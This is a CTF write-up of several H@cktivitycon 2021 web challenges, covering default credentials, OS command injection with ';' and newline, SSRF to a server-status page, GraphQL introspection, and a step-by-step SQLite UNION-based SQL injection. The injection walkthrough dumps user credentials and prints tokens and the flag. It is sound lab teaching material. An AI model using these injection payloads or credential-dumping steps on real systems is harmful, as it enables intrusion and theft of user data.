A continuation of the H@cktivitycon 2021 CTF writeups, but this one is dedicated to the web category I solved.

Swaggy

Challenge Information
  • Author: -

  • Category: Web

  • Difficulty: Easy

  • Description:

    This API documentation has all the swag

Walkthrough

Swaggy is the easiest one, it hosts an instance of Swagger UI where it provides two API endpoint servers to test: api.congon4tor.com/v1 (production, not available) and staging-api.congon4tor.com:7777 (staging).

To get the flag, I have to send a HTTP GET request to staging-api.congon4tor.com:7777/flag, but without the correct credentials, it won’t give you the flag.

image-20210917154230629

The words “staging” and “testing” are the clues for this challenge. Some devs out there typically use common credentials for easy auth, and in this case admin:admin are used.

user@ubuntu:~$ echo -n 'admin:admin' | base64                                               
YWRtaW46YWRtaW4=

image-20210917154250166

Confidentiality

Challenge Information
  • Author: -

  • Category: Web

  • Difficulty: Easy

  • Description:

    My school was trying to teach people about the CIA triad so they made all these dumb example applications… as if they know anything about information security. Can you prove these aren’t so secure?

Walkthrough

The challenge provides a simple website which allows you to list a file permission by inputting the file’s path.

image-20210917152231603

If the file does not exist, it spits out an error message which reveals the command used was something like ls -l [path-to-file].

image-20210917152250416

Now I know that it passes my submitted input (as arguments) to OS commands, therefore I can try to submit a command separator like ;, | or some logical operation like || or &&.

It turned out ; worked here.

image-20210917152339216

I can just grab the flag.

image-20210917152358697

Titanic

Challenge Information
  • Author: -

  • Category: Web

  • Difficulty: Easy

  • Description:

    Tee-Tech is a rising cyber security organization which creates tools and provide cyber security solution to it’s clients, but are they themself secure enough?

Walkthrough

This challenge hosts a company website for called Tee-Tech.

image-20210918175527330

The admin menu points to /admin.php, where a login form is shown. I tried several common credentials and SQLi but no luck.

image-20210918175618452

In the page source, I found a commented menu (anchor tag) which reveals a web path to /server-status. If I’m not mistaken, the page returned a forbidden error when I visited it directly from a browser.

image-20210918181859427

In the next section of the main site, there is a tool offered by this company.

image-20210918175548838

The tool could be used to take a screenshot of a given website URL, so it’s SSRF. The captured site image can be viewed at /captures/captured.png

image-20210918175635276

When I submitted http://127.0.0.1/, it returned with the following image, which I assume is basically the loading animation of the main site.

image-20210918175721424

If I use the URL capturer to let it visit http://127.0.0.1/server-status, it captures the following contents:

image-20210918182150035

It looked like a kind of web server log, and there is a set of credentials logged inside it!

And if I use that creds ( root:EYNDR4NhadwX9rtef) on the admin page, it logs me in and the page gives me the flag.

image-20210918183140505

Integrity

Challenge Information
  • Author: -

  • Category: Web

  • Difficulty: Medium

  • Description:

    My school was trying to teach people about the CIA triad so they made all these dumb example applications… as if they know anything about information security.

    Supposedly they learned their lesson and tried to make this one more secure. Can you prove it is still vulnerable?

Walkthrough

This challenge provides the same UI as Confidentiality, but the functionality has been changed. The same trick didn’t work here.

image-20210917154503521

I tried submitting several characters for command injection, and the following were found to be filtered.

% | \ " ' { } ` $ ( ) & _ 

The next thing I tried was CRLF injection, and it did work with LF (\n).

image-20210917034219286.png

I can just grab the flag.

image-20210917034235319

All Baked Up

The walkthrough for this challenge is going to be a bit longer (I might consider separating this) because this is my first encounter with GraphQL, and it was fun 😅.

Challenge Information
  • Author: -

  • Category: Web

  • Difficulty: Medium

  • Description:

    Grandma always knew how to make tried-and-true baked goods, and these recipes prove it!

Walkthrough

Initial recon

This challenges hosts a kind of blog about cake.

image-20210917202740803

When observing the network traffic, I see a POST request to a GraphQL endpoint.

image-20210917202816500

To investigate it more, I started Burp Suite and then intercepted a single post POST request to the GraphQL endpoint.

GraphQL enum

For a single post request, the body contains the following data.

{
   "operationName":"UserQuery",
   "variables":{
      "name":"Strawberry Cake"
   },
   "query":"query UserQuery($name: String!) { post(name: $name) { id    name image  content author { username __typename } __typename }  }"
}

And the returned response is something like this:

{
   "data":{
      "post":[
         {
            "__typename":"Post",
            "author":{
               "__typename":"User",
               "username":"congon4tor"
            },
            "content":"1. Preheat oven to 350°. Line the bottoms of 2 greased 8-in. round baking pans with parchment; grease parchment.\n2. In a large bowl, combine cake mix, gelatin, sugar and flour. Add water, oil and eggs; beat on low speed 30 seconds. Beat on medium 2 minutes. Fold in chopped strawberries. Transfer to prepared pans.\n3. Bake until a toothpick inserted in center comes out clean, 25-30 minutes. Cool in pans 10 minutes before removing to wire racks; remove paper. Cool completely.\n4. For frosting, in a small bowl, beat butter until creamy. Beat in crushed strawberries. Gradually beat in enough confectioners’ sugar to reach desired consistency. Spread frosting between layers and over top and sides of cake.",
            "id":1,
            "image":"https://www.tasteofhome.com/wp-content/uploads/2018/01/Mamaw-Emily-s-Strawberry-Cake_EXPS_FRBZ19_82745_C01_31_4b-9.jpg?resize=696,696",
            "name":"Strawberry Cake"
         }
      ]
   }
}

I found out that the request data can actually be shortened into something like this:

{
   "query":"query { post(name: \"Strawberry Cake\") { id    name image  content author { username __typename } __typename }  }"
}

# or just
{
   "query":"{ post(name: \"Strawberry Cake\") { id    name image  content author { username __typename } __typename }  }"
}

The first thing I tried was querying the DB schema using the following query from PayloadAllTheThings.

{"query":"{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}}"}

The server responded with

{"data":{"__schema":{"directives":[{"args":[{"defaultValue":null,"description":"Included when true.","name":"if","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"Boolean","ofType":null}}}],"description":"Directs the executor to include this field or fragment only when the `if` argument is true.","locations":["FIELD","FRAGMENT_SPREAD","INLINE_FRAGMENT"],"name":"include"},{"args":[{"defaultValue":null,"description":"Skipped when true.","name":"if","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"Boolean","ofType":null}}}],"description":"Directs the executor to skip this field or fragment when the `if` argument is true.","locations":["FIELD","FRAGMENT_SPREAD","INLINE_FRAGMENT"],"name":"skip"},{"args":[{"defaultValue":"\"No longer supported\"","description":"Explains why this element was deprecated, usually also including a suggestion for how to access supported similar data. Formattedin [Markdown](https://daringfireball.net/projects/markdown/).","name":"reason","type":{"kind":"SCALAR","name":"String","ofType":null}}],"description":"Marks an element of a GraphQL schema as no longer supported.","locations":["FIELD_DEFINITION","ENUM_VALUE"],"name":"deprecated"}],"mutationType":{"name":"Mutation"},"queryType":{"name":"Query"},"types":[{"description":"","enumValues":null,"fields":[{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"flag","type":{"kind":"SCALAR","name":"String","ofType":null}},{"args":[{"defaultValue":null,"description":"The name of the post","name":"name","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String","ofType":null}}}],"deprecationReason":null,"description":"","isDeprecated":false,"name":"post","type":{"kind":"LIST","name":null,"ofType":{"kind":"OBJECT","name":"Post","ofType":null}}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"posts","type":{"kind":"LIST","name":null,"ofType":{"kind":"OBJECT","name":"Post","ofType":null}}}],"inputFields":null,"interfaces":[],"kind":"OBJECT","name":"Query","possibleTypes":null},{"description":"","enumValues":null,"fields":[{"args":[{"defaultValue":null,"description":"","name":"password","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String","ofType":null}}},{"defaultValue":null,"description":"","name":"username","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String","ofType":null}}}],"deprecationReason":null,"description":"","isDeprecated":false,"name":"authenticateUser","type":{"kind":"OBJECT","name":"Auth","ofType":null}},{"args":[{"defaultValue":null,"description":"","name":"name","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String","ofType":null}}},{"defaultValue":null,"description":"","name":"image","type":{"kind":"SCALAR","name":"String","ofType":null}},{"defaultValue":null,"description":"","name":"content","type":{"kind":"SCALAR","name":"String","ofType":null}}],"deprecationReason":null,"description":"","isDeprecated":false,"name":"createPost","type":{"kind":"OBJECT","name":"Post","ofType":null}},{"args":[{"defaultValue":null,"description":"","name":"username","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String","ofType":null}}},{"defaultValue":null,"description":"","name":"password","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String","ofType":null}}}],"deprecationReason":null,"description":"","isDeprecated":false,"name":"createUser","type":{"kind":"OBJECT","name":"User","ofType":null}}],"inputFields":null,"interfaces":[],"kind":"OBJECT","name":"Mutation","possibleTypes":null},{"description":"A GraphQL Schema defines the capabilities of a GraphQL server. It exposes all available types and directives on the server, as well as the entry points for query, mutation, and subscription operations.","enumValues":null,"fields":[{"args":[],"deprecationReason":null,"description":"A list of all directives supported by this server.","isDeprecated":false,"name":"directives","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"LIST","name":null,"ofType":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"__Directive","ofType":null}}}}},{"args":[],"deprecationReason":null,"description":"If this server supports mutation, the type that mutation operations will be rooted at.","isDeprecated":false,"name":"mutationType","type":{"kind":"OBJECT","name":"__Type","ofType":null}},{"args":[],"deprecationReason":null,"description":"The type that query operations will be rooted at.","isDeprecated":false,"name":"queryType","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"__Type","ofType":null}}},{"args":[],"deprecationReason":null,"description":"If this server supports subscription, the type that subscription operations will be rooted at.","isDeprecated":false,"name":"subscriptionType","type":{"kind":"OBJECT","name":"__Type","ofType":null}},{"args":[],"deprecationReason":null,"description":"A list of all types supported by this server.","isDeprecated":false,"name":"types","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"LIST","name":null,"ofType":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"__Type","ofType":null}}}}}],"inputFields":null,"interfaces":[],"kind":"OBJECT","name":"__Schema","possibleTypes":null},{"description":"The fundamental unit of any GraphQL Schema is the type. There are many kinds of types in GraphQL as represented by the `__TypeKind` enum.\n\nDepending on the kind of a type, certain fields describe information about that type. Scalar types provide no information beyond a name and description, while Enum types provide their values. Object and Interface types provide the fields they describe. Abstract types, Union and Interface, provide the Object types possible at runtime. List and NonNull types compose other types.","enumValues":null,"fields":[{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"description","type":{"kind":"SCALAR","name":"String","ofType":null}},{"args":[{"defaultValue":"false","description":"","name":"includeDeprecated","type":{"kind":"SCALAR","name":"Boolean","ofType":null}}],"deprecationReason":null,"description":"","isDeprecated":false,"name":"enumValues","type":{"kind":"LIST","name":null,"ofType":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"__EnumValue","ofType":null}}}},{"args":[{"defaultValue":"false","description":"","name":"includeDeprecated","type":{"kind":"SCALAR","name":"Boolean","ofType":null}}],"deprecationReason":null,"description":"","isDeprecated":false,"name":"fields","type":{"kind":"LIST","name":null,"ofType":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"__Field","ofType":null}}}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"inputFields","type":{"kind":"LIST","name":null,"ofType":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"__InputValue","ofType":null}}}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"interfaces","type":{"kind":"LIST","name":null,"ofType":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"__Type","ofType":null}}}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"kind","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"ENUM","name":"__TypeKind","ofType":null}}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"name","type":{"kind":"SCALAR","name":"String","ofType":null}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"ofType","type":{"kind":"OBJECT","name":"__Type","ofType":null}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"possibleTypes","type":{"kind":"LIST","name":null,"ofType":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"__Type","ofType":null}}}}],"inputFields":null,"interfaces":[],"kind":"OBJECT","name":"__Type","possibleTypes":null},{"description":"Arguments provided to Fields or Directives and the input fields of an InputObject are represented as Input Values which describe their type and optionally a default value.","enumValues":null,"fields":[{"args":[],"deprecationReason":null,"description":"A GraphQL-formatted string representing the default value for this input value.","isDeprecated":false,"name":"defaultValue","type":{"kind":"SCALAR","name":"String","ofType":null}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"description","type":{"kind":"SCALAR","name":"String","ofType":null}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"name","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String","ofType":null}}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"type","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"__Type","ofType":null}}}],"inputFields":null,"interfaces":[],"kind":"OBJECT","name":"__InputValue","possibleTypes":null},{"description":"A Directive provides a way to describe alternate runtime execution and type validation behavior in a GraphQL document. \n\nIn some cases, you need to provide options to alter GraphQL's execution behavior in ways field arguments will not suffice, such as conditionally including or skipping a field. Directives provide this by describing additional information to the executor.","enumValues":null,"fields":[{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"args","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"LIST","name":null,"ofType":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"__InputValue","ofType":null}}}}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"description","type":{"kind":"SCALAR","name":"String","ofType":null}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"locations","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"LIST","name":null,"ofType":{"kind":"NON_NULL","name":null,"ofType":{"kind":"ENUM","name":"__DirectiveLocation","ofType":null}}}}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"name","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String","ofType":null}}},{"args":[],"deprecationReason":"Use `locations`.","description":"","isDeprecated":true,"name":"onField","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"Boolean","ofType":null}}},{"args":[],"deprecationReason":"Use `locations`.","description":"","isDeprecated":true,"name":"onFragment","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"Boolean","ofType":null}}},{"args":[],"deprecationReason":"Use `locations`.","description":"","isDeprecated":true,"name":"onOperation","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"Boolean","ofType":null}}}],"inputFields":null,"interfaces":[],"kind":"OBJECT","name":"__Directive","possibleTypes":null},{"description":"A Directive can be adjacent to many parts of the GraphQL language, a __DirectiveLocation describes one such possible adjacencies.","enumValues":[{"deprecationReason":null,"description":"Location adjacent to a field.","isDeprecated":false,"name":"FIELD"},{"deprecationReason":null,"description":"Location adjacent to a schema definition.","isDeprecated":false,"name":"SCHEMA"},{"deprecationReason":null,"description":"Location adjacent to an input object type definition.","isDeprecated":false,"name":"INPUT_OBJECT"},{"deprecationReason":null,"description":"Location adjacent to a mutation operation.","isDeprecated":false,"name":"MUTATION"},{"deprecationReason":null,"description":"Location adjacent to a scalar definition.","isDeprecated":false,"name":"SCALAR"},{"deprecationReason":null,"description":"Location adjacent to an enum value definition.","isDeprecated":false,"name":"ENUM_VALUE"},{"deprecationReason":null,"description":"Location adjacent to an enum definition.","isDeprecated":false,"name":"ENUM"},{"deprecationReason":null,"description":"Location adjacent to a query operation.","isDeprecated":false,"name":"QUERY"},{"deprecationReason":null,"description":"Location adjacent to a subscription operation.","isDeprecated":false,"name":"SUBSCRIPTION"},{"deprecationReason":null,"description":"Location adjacent to a fragment definition.","isDeprecated":false,"name":"FRAGMENT_DEFINITION"},{"deprecationReason":null,"description":"Location adjacent to a fragment spread.","isDeprecated":false,"name":"FRAGMENT_SPREAD"},{"deprecationReason":null,"description":"Location adjacent to an inline fragment.","isDeprecated":false,"name":"INLINE_FRAGMENT"},{"deprecationReason":null,"description":"Location adjacent to an argument definition.","isDeprecated":false,"name":"ARGUMENT_DEFINITION"},{"deprecationReason":null,"description":"Location adjacent to a object definition.","isDeprecated":false,"name":"OBJECT"},{"deprecationReason":null,"description":"Location adjacent to a field definition.","isDeprecated":false,"name":"FIELD_DEFINITION"},{"deprecationReason":null,"description":"Location adjacent to an interface definition.","isDeprecated":false,"name":"INTERFACE"},{"deprecationReason":null,"description":"Location adjacent to a union definition.","isDeprecated":false,"name":"UNION"},{"deprecationReason":null,"description":"Location adjacent to an input object field definition.","isDeprecated":false,"name":"INPUT_FIELD_DEFINITION"}],"fields":null,"inputFields":null,"interfaces":null,"kind":"ENUM","name":"__DirectiveLocation","possibleTypes":null},{"description":"The `String` scalar type represents textual data, represented as UTF-8 character sequences. The String type is most often used by GraphQL to represent free-form human-readable text.","enumValues":null,"fields":null,"inputFields":null,"interfaces":null,"kind":"SCALAR","name":"String","possibleTypes":null},{"description":"Auth info for a user","enumValues":null,"fields":[{"args":[],"deprecationReason":null,"description":"The token","isDeprecated":false,"name":"token","type":{"kind":"SCALAR","name":"String","ofType":null}},{"args":[],"deprecationReason":null,"description":"The user","isDeprecated":false,"name":"user","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"User","ofType":null}}}],"inputFields":null,"interfaces":[],"kind":"OBJECT","name":"Auth","possibleTypes":null},{"description":"An enum describing what kind of type a given `__Type` is","enumValues":[{"deprecationReason":null,"description":"Indicates this type is an enum. `enumValues` is a valid field.","isDeprecated":false,"name":"ENUM"},{"deprecationReason":null,"description":"Indicates this type is an input object. `inputFields` is a valid field.","isDeprecated":false,"name":"INPUT_OBJECT"},{"deprecationReason":null,"description":"Indicates this type is a list. `ofType` is a valid field.","isDeprecated":false,"name":"LIST"},{"deprecationReason":null,"description":"Indicates this type is a non-null. `ofType` is a valid field.","isDeprecated":false,"name":"NON_NULL"},{"deprecationReason":null,"description":"Indicates this type is a scalar.","isDeprecated":false,"name":"SCALAR"},{"deprecationReason":null,"description":"Indicates this type is an object. `fields` and `interfaces` are valid fields.","isDeprecated":false,"name":"OBJECT"},{"deprecationReason":null,"description":"Indicates this type is an interface. `fields` and `possibleTypes` are valid fields.","isDeprecated":false,"name":"INTERFACE"},{"deprecationReason":null,"description":"Indicates this type is a union. `possibleTypes` is a valid field.","isDeprecated":false,"name":"UNION"}],"fields":null,"inputFields":null,"interfaces":null,"kind":"ENUM","name":"__TypeKind","possibleTypes":null},{"description":"The `Boolean` scalar type represents `true` or `false`.","enumValues":null,"fields":null,"inputFields":null,"interfaces":null,"kind":"SCALAR","name":"Boolean","possibleTypes":null},{"description":"One possible value for a given Enum. Enum values are unique values, not a placeholder for a string or numeric value. However an Enum value is returned in a JSON response as a string.","enumValues":null,"fields":[{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"deprecationReason","type":{"kind":"SCALAR","name":"String","ofType":null}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"description","type":{"kind":"SCALAR","name":"String","ofType":null}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"isDeprecated","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"Boolean","ofType":null}}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"name","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String","ofType":null}}}],"inputFields":null,"interfaces":[],"kind":"OBJECT","name":"__EnumValue","possibleTypes":null},{"description":"A user of our website","enumValues":null,"fields":[{"args":[],"deprecationReason":null,"description":"The id of the user","isDeprecated":false,"name":"id","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"Int","ofType":null}}},{"args":[],"deprecationReason":null,"description":"The salted SHA1 hash of the users password","isDeprecated":false,"name":"password","type":{"kind":"SCALAR","name":"String","ofType":null}},{"args":[],"deprecationReason":null,"description":"The username of the user","isDeprecated":false,"name":"username","type":{"kind":"SCALAR","name":"String","ofType":null}}],"inputFields":null,"interfaces":[],"kind":"OBJECT","name":"User","possibleTypes":null},{"description":"The `Int` scalar type represents non-fractional signed whole numeric values. Int can represent values between -(2^31) and 2^31 - 1. ","enumValues":null,"fields":null,"inputFields":null,"interfaces":null,"kind":"SCALAR","name":"Int","possibleTypes":null},{"description":"A cool post written by one of our users","enumValues":null,"fields":[{"args":[],"deprecationReason":null,"description":"The writter of the post","isDeprecated":false,"name":"author","type":{"kind":"OBJECT","name":"User","ofType":null}},{"args":[],"deprecationReason":null,"description":"The content os the post","isDeprecated":false,"name":"content","type":{"kind":"SCALAR","name":"String","ofType":null}},{"args":[],"deprecationReason":null,"description":"The id of the post","isDeprecated":false,"name":"id","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"Int","ofType":null}}},{"args":[],"deprecationReason":null,"description":"Image of the post","isDeprecated":false,"name":"image","type":{"kind":"SCALAR","name":"String","ofType":null}},{"args":[],"deprecationReason":null,"description":"The name of the post","isDeprecated":false,"name":"name","type":{"kind":"SCALAR","name":"String","ofType":null}}],"inputFields":null,"interfaces":[],"kind":"OBJECT","name":"Post","possibleTypes":null},{"description":"Object and Interface types are described by a list of Fields, each of which has a name, potentially a list of arguments, and a return type.","enumValues":null,"fields":[{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"args","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"LIST","name":null,"ofType":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"__InputValue","ofType":null}}}}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"deprecationReason","type":{"kind":"SCALAR","name":"String","ofType":null}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"description","type":{"kind":"SCALAR","name":"String","ofType":null}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"isDeprecated","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"Boolean","ofType":null}}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"name","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"String","ofType":null}}},{"args":[],"deprecationReason":null,"description":"","isDeprecated":false,"name":"type","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"OBJECT","name":"__Type","ofType":null}}}],"inputFields":null,"interfaces":[],"kind":"OBJECT","name":"__Field","possibleTypes":null}]}}}

Using GraphQL voyager, the schema can be visualized as follows:

> Query:

image-20210917195515613

> Mutation

image-20211009120159163

From what I understand, Query and Mutation are just like Getter and Setter functions in Java or other Programming languages.

I tried to query the flag with {"query":"{flag}"}, but it turned out a valid token for authentication is required. The next thing I tried was to see if I could dump out the author’s password with the following query:

{"query":"{ posts {id  name author{username password}} }"} 

And I couldn’t, the server returned with empty password.

{
   "data":{
      "posts":[
         {
            "author":{
               "password":"",
               "username":"congon4tor"
            },
            "id":1,
            "name":"Strawberry Cake"
         },
         {
            "author":{
               "password":"",
               "username":"congon4tor"
            },
            "id":2,
            "name":"Grandma's Yeast Rolls"
         },
         {
            "author":{
               "password":"",
               "username":"congon4tor"
            },
            "id":3,
            "name":"Blackberry-Orange Cake"
         },
         {
            "author":{
               "password":"",
               "username":"congon4tor"
            },
            "id":4,
            "name":"Apple Pie"
         }
      ]
   }
}

Then I tried to overwrite/update the user password with mutation functions (+ space in username, capital, etc), and it didn’t work.

## Query to update pass 
{"query":"mutation {createUser (username: \"Congon4tor\", password: \"choropys\") {username password}}" }  
{"query":"mutation {createUser (username: \"congon4tor \", password: \"choropys\") {username password}}" }  
## Query to auth and grab the token
{"query":"mutation {authenticateUser(username: \"Congon4tor\", password: \"choropys\") {token}}"

SQL injection in GraphQL

I started to re-enumerate* the web to find something I missed, and then I found a weird behavior in a post titled with Grandma's Yeast Rolls. Only the page for that post is a blank page.

*Lesson learned: don’t rush

When I looked at the server response in the dev tools, it was revealed that a single quote ' in the post title broke the request.

image-20210921025404405

To validate that the site is vulnerable to SQLi, I tried to send a single post request with the following query:

POST /graphql HTTP/1.1
Host: challenge.ctf.games:30013
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
Origin: http://challenge.ctf.games:32347
Content-Length: 68
Connection: close
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNob3JvcHlzIiwiZXhwIjoxNjMyMDYzNDEyLCJpYXQiOjE2MzE4OTA2MTIsImlzcyI6IkNvbmdvbjR0b3IifQ.mXLkQDZ5Oum3Bq8A4ZFHyNX9QmS0qhcBR8ph0-WfxmI

{"query":"query { post(name:\"Strawberry Cake\"){ name }}"}  

The server responded with the expected result:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Fri, 17 Sep 2021 19:58:11 GMT
Content-Length: 46
Connection: close

{"data":{"post":[{"name":"Strawberry Cake"}]}}

When I changed the request to:

{"query":"query { post(name:\"Grandma' OR 1=1 --\"){ name }}"}

It returned all the posts !

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Fri, 17 Sep 2021 19:59:19 GMT
Content-Length: 134
Connection: close

{"data":{"post":[{"name":"Strawberry Cake"},{"name":"Grandma's Yeast Rolls"},{"name":"Blackberry-Orange Cake"},{"name":"Apple Pie"}]}}

There are 6 columns.

## req
{ "query":"query { post(name:\"' ORDER BY 1,2,3,4,5,6,7 -- \"){ name }}"}  
## resp
{"data":{"post":[]},"errors":[{"message":"7th ORDER BY term out of range - should be between 1 and 6", "location":[{"line":1,"column":9}], "path":["post"]}]}

Injection point is on column 2

## req
{"query":"query { post(name:\"' UNION SELECT 1,2,3,4,5,6 -- \"){ name }}"} 

## resp
{"data":{"post":[{"name":"2"}]}}

The DB version is SQLite 3.36.0.

## req
{"query":"query { post(name:\"' UNION SELECT 1,sqlite_version(),3,4,5,6 -- \"){ name }}"}  

## resp
{"data":{"post":[{"name":"3.36.0"}]}}

There are two tables: posts and users.

## req
{"query":"query { post(name:\"' UNION SELECT 1,tbl_name ,3,4,5,6  FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' -- \"){ name }}"}  

## resp
{"data":{"post":[{"name":"posts"},{"name":"users"}]}}

Based on the voyager views, I assumed that the table has the username and the password columns, so I sent a query to dump these columns, and it was correct.

## req
{"query":"query { post(name:\"' UNION SELECT 1,(SELECT username||password FROM users),3,4,5,6 -- \"){ name }}"}

## resp
{"data":{"post":[{"name":"posts"},{"name":"congon4torn8bboB!3%vDwiASVgKhv"}]}}

With these credentials, I can request for a valid token

## req
{"query":"mutation {authenticateUser(username: \"congon4tor\", password: \"n8bboB!3%vDwiASVgKhv\") {token}}"} 

## resp
{"data":{"authenticateUser":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNvbmdvbjR0b3IiLCJleHAiOjE2MzIzNDIzNjUsImlhdCI6MTYzMjE2OTU2NSwiaXNzIjoiQ29uZ29uNHRvciJ9.2huNUpNe3_vIkAwIcYxKeLbJfnmyugX3GydGD9prJiY"}}}

Now I can query the flag with the following request.

POST /graphql HTTP/1.1
Host: challenge.ctf.games:30013
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://challenge.ctf.games:30013/post/Strawberry%20Cake
content-type: application/json
Origin: http://challenge.ctf.games:30013
Content-Length: 23
Connection: close
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNob3JvcHlzIiwiZXhwIjoxNjMyMDYzNDEyLCJpYXQiOjE2MzE4OTA2MTIsImlzcyI6IkNvbmdvbjR0b3IifQ.mXLkQDZ5Oum3Bq8A4ZFHyNX9QmS0qhcBR8ph0-WfxmI
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNvbmdvbjR0b3IiLCJleHAiOjE2MzIzNDIzNjUsImlhdCI6MTYzMjE2OTU2NSwiaXNzIjoiQ29uZ29uNHRvciJ9.2huNUpNe3_vIkAwIcYxKeLbJfnmyugX3GydGD9prJiY

{
"query":"{flag}"
}

The response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Fri, 17 Sep 2021 20:17:24 GMT
Content-Length: 53
Connection: close

{"data":{"flag":"flag{9d26b6e4a765ecd87fe03a1494c22236}"}}

References